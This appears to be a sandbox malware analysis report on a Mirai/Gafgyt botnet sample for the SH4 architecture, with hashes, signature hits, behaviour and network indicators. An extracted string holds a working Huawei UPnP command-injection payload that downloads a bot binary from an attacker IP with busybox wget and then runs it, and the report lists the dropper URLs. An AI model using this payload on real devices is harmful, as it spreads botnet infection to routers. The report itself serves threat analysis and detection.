Edit tour

Linux Analysis Report
momo.sh4.elf

Overview

General Information

Sample name:	momo.sh4.elf
Analysis ID:	1584462
MD5:	c835909ddf03e2d1cc54d762342fd469
SHA1:	b794d3546cdf91691f05a664d0b68ea13bb806d0
SHA256:	a9a7bf018400c881c04a298a5fe2d45c90a00532d93ff6d68184540a116d28ee
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584462
Start date and time:	2025-01-05 15:24:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	momo.sh4.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0

Warnings

VT rate limit hit for: http://123.253.61.116/fuck/momo.arm7;chmod
VT rate limit hit for: http://123.253.61.116/fuck/momo.mips;
VT rate limit hit for: http://123.253.61.116/fuick/momo.x86

Runtime Messages

Command:	/tmp/momo.sh4.elf
PID:	5509
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	SpasoBuild-BadWolf-MomentumProduc
Standard Error:

Process Tree

system is lnxubuntu20

momo.sh4.elf (PID: 5509, Parent: 5428, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/momo.sh4.elf

momo.sh4.elf New Fork (PID: 5511, Parent: 5509)

momo.sh4.elf New Fork (PID: 5513, Parent: 5511)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
momo.sh4.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
momo.sh4.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xfe24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfeb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfec4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfed8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfeec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xffa0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xffb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5509.1.00007f05ec400000.00007f05ec413000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5509.1.00007f05ec400000.00007f05ec413000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xfe24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfeb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfec4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfed8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfeec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xffa0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xffb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5513.1.00007f05ec400000.00007f05ec413000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5513.1.00007f05ec400000.00007f05ec413000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xfe24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfe9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfeb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfec4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfed8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfeec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xffa0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xffb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: momo.sh4.elf PID: 5509	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3f34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3f48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3f5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3f70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3f84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3f98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3fac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3fc0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3fd4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3fe8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3ffc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4010:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4024:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4038:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x404c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4060:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4074:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x4088:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x409c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x40b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x40c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: momo.sh4.elf PID: 5513	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1d02:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1d16:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1d2a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1d3e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1d52:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1d66:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1d7a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1d8e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1da2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1db6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1dde:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1df2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e06:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e1a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e2e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e42:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e56:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e6a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e7e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e92:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 1 entries

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 123.253.61.116 -l /tmp/bigH -r /fuck/momo.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: momo.sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5509.1.00007f05ec400000.00007f05ec413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5513.1.00007f05ec400000.00007f05ec413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: momo.sh4.elf PID: 5509, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: momo.sh4.elf PID: 5513, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Source: /tmp/momo.sh4.elf (PID: 5511)	Directory: /tmp/.			Jump to behavior
Source: /tmp/momo.sh4.elf (PID: 5511)	Directory: /tmp/..			Jump to behavior

Source: /tmp/momo.sh4.elf (PID: 5509)

Queries kernel information via 'uname':

Jump to behavior

Source: momo.sh4.elf, 5509.1.00007ffc926de000.00007ffc926ff000.rw-.sdmp, momo.sh4.elf, 5513.1.00007ffc926de000.00007ffc926ff000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: momo.sh4.elf, 5509.1.00007ffc926de000.00007ffc926ff000.rw-.sdmp, momo.sh4.elf, 5513.1.00007ffc926de000.00007ffc926ff000.rw-.sdmp	Binary or memory string: `x86_64/usr/bin/qemu-sh4/tmp/momo.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/momo.sh4.elf
Source: momo.sh4.elf, 5509.1.000055f576a73000.000055f576ad6000.rw-.sdmp, momo.sh4.elf, 5513.1.000055f576a73000.000055f576ad6000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: momo.sh4.elf, 5509.1.000055f576a73000.000055f576ad6000.rw-.sdmp, momo.sh4.elf, 5513.1.000055f576a73000.000055f576ad6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: momo.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5509.1.00007f05ec400000.00007f05ec413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5513.1.00007f05ec400000.00007f05ec413000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: momo.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5509.1.00007f05ec400000.00007f05ec413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5513.1.00007f05ec400000.00007f05ec413000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Hidden Files and Directories	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
momo.sh4.elf	61%	ReversingLabs	Linux.Trojan.Mirai
momo.sh4.elf	60%	Virustotal		Browse

Name	Source	Malicious	Reputation
http://123.253.61.116/fuck/momo.arm7;chmod	momo.sh4.elf	false	unknown
http://123.253.61.116/fuick/momo.x86	momo.sh4.elf	false	unknown
http://123.253.61.116/fuck/momo.mips;	momo.sh4.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	momo.sh4.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	momo.sh4.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
1.1.1.1	unknown	Australia		13335	CLOUDFLARENETUS	false
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1.1.1.1	6fW0GedR6j.xls	Get hash	malicious	Unknown	Browse	1.1.1.1/ctrl/playback.php
	PO-230821_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.974dp.com/sn26/?kJBLpb8=qaEGeuQorcUQurUZCuE8d9pas+Z0M0brqtX248JBolEfq8j8F1R9i1jKZexhxY54UlRG&ML0tl=NZlpi
	AFfv8HpACF.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/
	INVOICE_90990_PDF.exe	Get hash	malicious	FormBook	Browse	www.quranvisor.com/usvr/?mN9d3vF=HHrW7cA9N4YJlebHFvlsdlDciSnnaQItEG8Ccfxp291VjnjcuwoPACt7EOqEq4SWjIf8&Pjf81=-Zdd-V5hqhM4p2S
	Go.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/
185.125.190.26	fuckunix.x86.elf	Get hash	malicious	Mirai	Browse
	z0r0.mips.elf	Get hash	malicious	Unknown	Browse
	z0r0.mpsl.elf	Get hash	malicious	Unknown	Browse
	fenty.arm4.elf	Get hash	malicious	Mirai	Browse
	a.elf	Get hash	malicious	Gafgyt	Browse
	176.119.150.11-i-2025-01-04T15_20_35.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	Space.ppc.elf	Get hash	malicious	Mirai	Browse
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse
	185.232.205.45-boatnet.mips-2025-01-03T23_59_45.elf	Get hash	malicious	Mirai	Browse
	185.232.205.45-boatnet.m68k-2025-01-03T23_59_48.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	momo.m68k.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	172.71.176.132
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
